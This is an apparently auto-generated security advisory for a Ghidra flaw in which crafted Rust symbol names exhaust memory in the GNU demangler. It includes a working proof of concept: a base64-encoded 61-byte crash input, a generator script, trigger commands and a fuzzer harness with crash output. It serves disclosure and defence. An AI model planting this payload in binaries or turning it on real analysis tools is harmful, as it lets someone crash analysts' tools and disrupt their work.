CVE-2026-52753
Description
Ghidra before 12.0.3 contains an out-of-memory vulnerability in the rust_demangle function that allocates unbounded output buffers without size limits. Attackers can craft malicious Rust symbol names in binaries to trigger exponential memory allocation, causing process crashes during binary analysis.
Affected products
1- Range: <12.0.3
Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"The rust_demangle function allocates unbounded output buffers without size limits, leading to exponential memory allocation."
Attack vector
An attacker can craft malicious Rust symbol names within binaries. When Ghidra analyzes such a binary, the rust_demangle function will be invoked with these crafted symbols. This triggers an unbounded memory allocation, causing the Ghidra process to crash during analysis [ref_id=1]. The vulnerability can be triggered via Ghidra's demangler_gnu CLI or through fuzzing [ref_id=1].
Affected code
The vulnerability resides in the rust_demangle function within Ghidra's GPL/DemanglerGnu component. Specifically, the str_buf_reserve() function is identified as the root cause, as it grows the output buffer exponentially without any maximum size check, leading to potential out-of-memory conditions [ref_id=1].
What the fix does
The advisory recommends upgrading to Ghidra 12.0.3 or later. This version imposes a process timeout on the GNU Demangler, mitigating the unbounded memory allocation issue that could lead to denial of service. The patch itself is not detailed in the provided information, but the remediation focuses on limiting the execution time of the vulnerable component [ref_id=1].
Preconditions
- inputA binary containing crafted Rust symbol names.
- inputA small input (~61 bytes) crafted to trigger unbounded memory allocation.
Reproduction
# PoC Trigger file A crafted crash_input.bin file (61 bytes) containing a malformed Rust v0 mangled symbol:
Prefix: _R (Rust v0 symbol marker) Content: Nested generic parameters with malformed crate references Effect: Causes exponential output expansion during lifetime printing
How to generate crash_input.bin # Base64 decode to create the crash input echo "X1JJTnZDNHRlX0M0dG9rcHBwcHBwcHBwcEZGRkZGRkdGcHBwcHBwcHBwS2oyX0ZGRkZGRkZGRkZGRkU=" | base64 -d > crash_input.bin
# Verify size (should be 61 bytes) wc -c crash_input.bin # crash_gen.py - Alternative Python generator import base64
payload = base64.b64decode("X1JJTnZDNHRlX0M0dG9rcHBwcHBwcHBwcEZGRkZGRkdGcHBwcHBwcHBwS2oyX0ZGRkZGRkZGRkZGRkU=") with open("crash_input.bin", "wb") as f: f.write(payload)
print(f"Generated crash_input.bin ({len(payload)} bytes)") print(f"Decoded: {payload.decode('ascii', errors='replace')}")
Trigger Method 1: Ghidra's demangler_gnu CLI The demangler_gnu executable is the production binary used by Ghidra's Java layer via GnuDemanglerNativeProcess.java. # Build from Ghidra source (or use pre-built from Ghidra installation) cd GPL/DemanglerGnu/src/demangler_gnu_v2_41 make
# Trigger OOM - process will be killed by OOM killer cat crash_input.bin | ./demangler_gnu -s rust Output: # Memory consumption observed: # 0s: ~10MB # 2s: ~180MB # 4s: ~360MB # 6s: ~540MB # 8s: ~720MB # 10s: ~818MB (killed by OOM killer, exit code 137)
How Ghidra calls this internally: // GnuDemanglerNativeProcess.java process = new ProcessBuilder(executablePath, "-s", "auto").start(); outputStream.write(mangledString + "\n"); // Attacker-controlled symbol name String demangled = inputStream.readLine();
Trigger Method 2: Fuzzer (libFuzzer + AddressSanitizer) /* * Fuzzer for Rust Symbol Demangler * * Target: GPL/DemanglerGnu/src/demangler_gnu_v2_41/c/rust-demangle.c * Entry point: rust_demangle() - Rust symbol demangling function * * Rust symbols have two formats: * - Legacy: _ZN...E (similar to C++ but with hash suffix like 17h...) * - v0: _R... (new format with uppercase letters) * * This fuzzer tests both formats by passing arbitrary data. * The demangler validates the prefix and format internally. * * Build: * clang -g -O1 -fno-omit-frame-pointer -fsanitize=fuzzer,address \ * -I<path>/headers fuzz_rust_demangle.c rust-demangle.c \ * safe-ctype.c -o fuzz_rust_demangle */
#include <stdint.h> #include <stdlib.h> #include <string.h>
#include "demangle.h"
/* Standard flags - DMGL_VERBOSE shows hash in output */ #define DEFAULT_FLAGS (DMGL_VERBOSE)
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { /* Skip empty inputs */ if (size == 0) { return 0; }
/* Allocate buffer and ensure null-termination */ char *mangled = (char *)malloc(size + 1); if (mangled == NULL) { return 0; }
memcpy(mangled, data, size); mangled[size] = '\0';
/* Call the Rust demangler */ char *result = rust_demangle(mangled, DEFAULT_FLAGS);
/* Free the result if demangling succeeded */ if (result != NULL) { free(result); }
free(mangled); return 0; } Build and run: # Build fuzzer with ASAN clang -g -O1 -fsanitize=fuzzer,address \ -I headers fuzz_rust_demangle.c rust-demangle.c safe-ctype.c \ -o fuzz_rust_demangle
# Run with crash input ./fuzz_rust_demangle crash_input.bin Output: ==PID== ERROR: libFuzzer: out-of-memory (malloc(2147483648)) #0 in realloc #1 in str_buf_reserve rust-demangle.c:1553 #2 in str_buf_append rust-demangle.c:1572 #3 in print_lifetime_from_index rust-demangle.c:610 #4 in demangle_binder rust-demangle.c:666 #5 in demangle_type rust-demangle.c:960 (recursive) [ref_id=1]
Generated on Jun 10, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
1- National Security Agency's Ghidra: 15 Vulnerabilities Disclosed on June 10, 2026Vypr Intelligence · Jun 10, 2026